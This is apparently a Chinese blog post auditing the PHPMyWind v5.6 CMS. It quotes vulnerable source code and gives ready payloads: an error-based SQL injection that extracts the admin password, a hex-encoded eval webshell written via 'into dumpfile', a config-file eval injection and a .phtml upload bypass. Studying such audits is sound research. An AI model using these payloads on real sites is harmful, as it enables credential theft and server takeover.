phpmywind v5.6 后台sql注入+getshell

看js代码看到自闭,于是找个cms审计一波找找自信,找了phpmywind v5.6

有几个鸡肋的后台sql注入,还有两种getshell的方法

phpmywind v5.6 后台sql注入

先从index.php看起,包含了/include/config.inc.php,审计一下,在第46行开始,很明显的变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
foreach(array('_GET','_POST') as $_request)
{
foreach($$_request as $_k => $_v)
{
if(strlen($_k)>0 &&
preg_match('#^(GLOBALS|_GET|_POST|_SESSION|_COOKIE)#',$_k))
{
exit('不允许请求的变量名!');
}

${$_k} = _RunMagicQuotes($_v);
}
}

也就是说包含这个文件的代码都有可能产生变量覆盖漏洞,然后经过搜索+寻找

在admin/info_update.php中第55行

1
$row = $dosql->GetOne("SELECT * FROM `#@__info` WHERE `classid`=$id AND `mainid`=-1");

在这之前并没有给$id赋值

跟进GetOne

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function GetOne($sql='',$acctype=MYSQLI_ASSOC)
{
global $dosql;
...

$this->Execute($sql, 'one');
$res = $this->GetArray('one', $acctype);
if(!is_array($res))
{
return '';
}
else
{
$this->FreeResult('one');
return($res);
}
}

执行了Execute,跟进看一下

1
2
3
4
5
6
7
8
9
10
11
12
function Execute($sql='',$id='me')
{
...
//SQL语句安全检查
if($this->safecheck)
{
$this->CheckSql($this->querystring);
}

$this->result[$id] = mysqli_query($this->linkid, $this->querystring);
...
}

经过了安全检测,跟进CheckSql,主要是要绕过这个CheckSql

1
2
3
4
5
6
7
if($querytype == 'select')
{
if(preg_match('/[^[email protected]\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^[email protected]\.-]{1,}/', $sql))
{
$this->DisplayError("$sql||SelectBreak",1);
}
}

经过搜索,这个是80sec提供的过滤函数,搜一下绕过方式,可以报错注入,exp如下

1
GET /admin/info_update.php?id=1 AND id in (char(@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from pmw_admin limit 0,1))),char(@`'`))

image-20200227171314789

虽然这个洞纯鸡肋,但是利用思路还是可以学习一下的

phpmywind v5.6 后台getshell

网站后台直接可以执行sql语句,可以查看一下后台的过滤

image-20200227172239257

禁用了into outfile,但是没有禁用into dumpfile

所以直接执行就可以了

1
select 0x3c3f70687020406576616c28245f524551554553545b615d293b3f3e into dumpfile “/var/www/html/PHPMyWind_v5.6/shell.php”

我本地的环境并没有给mysql写文件的权限,所以这个并没有利用成功

既然无法写文件,只好找从数据库中取数据的地方了,看看有没有可以利用的地方

admin/site_save.php 这个文件是将配置写入config.cache.php的,看关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function WriteConfig()
{
global $dosql;


$str = '<?php if(!defined(\'IN_PHPMYWIND\')) exit(\'Request Error!\');'."\r\n\r\n";
$dosql->Execute("SELECT `varname`,`vartype`,`varvalue`,`vargroup` FROM `#@__webconfig` ORDER BY `orderid` ASC");
while($row = $dosql->GetArray())
{
//统计代码转义
if($row['varname'] == 'cfg_countcode')
{
$row['varvalue'] = stripslashes($row['varvalue']);
}

if($row['vartype'] == 'number')
{
if($row['varvalue'] == '')
{
$row['varvalue'] = 0;
}

$str .= "\${$row['varname']} = ".$row['varvalue'].";\r\n";
}
else
{
$str .= "\${$row['varname']} = '".str_replace("'",'',$row['varvalue'])."';\r\n";
}
}
$str .= '?>';

Writef(PHPMYWIND_INC.'/config.cache.php',$str);
}

从数据库取值然后写到配置文件中,虽然在向数据库中写数据的过程中进行了过滤,但是从数据库中取数据写入文件的过程中并没有对从数据库中取出的数据进行过滤,这样可以在后台直接更新数据库中的内容,将webshell写到配置文件中

先在后台执行如下sql语句

1
update pmw_webconfig set varname = 'a=1;eval($_REQUEST[a]);//' where orderid=97

运行之后添加一个新的站点

image-20200227174505260

这时在前台直接就可以执行命令了

image-20200227174554170

其实还有一个利用点,但是需要开了phtml解析才能用,利用如下

先添加phtml后缀

image-20200227175237431

这里后台还是有过滤的,在data/httpfile/upload.class.php中,第53行开始

1
2
3
4
if(in_array($tempfile_ext, explode('|', 'php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml')))
{
return '您上传的文件类型为:['.$tempfile_ext.'],该类文件不允许通过后台上传!';
}

但是没有过滤phtml后缀,直接上传一个就可以getshell了,路径也给出来了

image-20200227175621665

直接访问就好了

image-20200227175707114

0%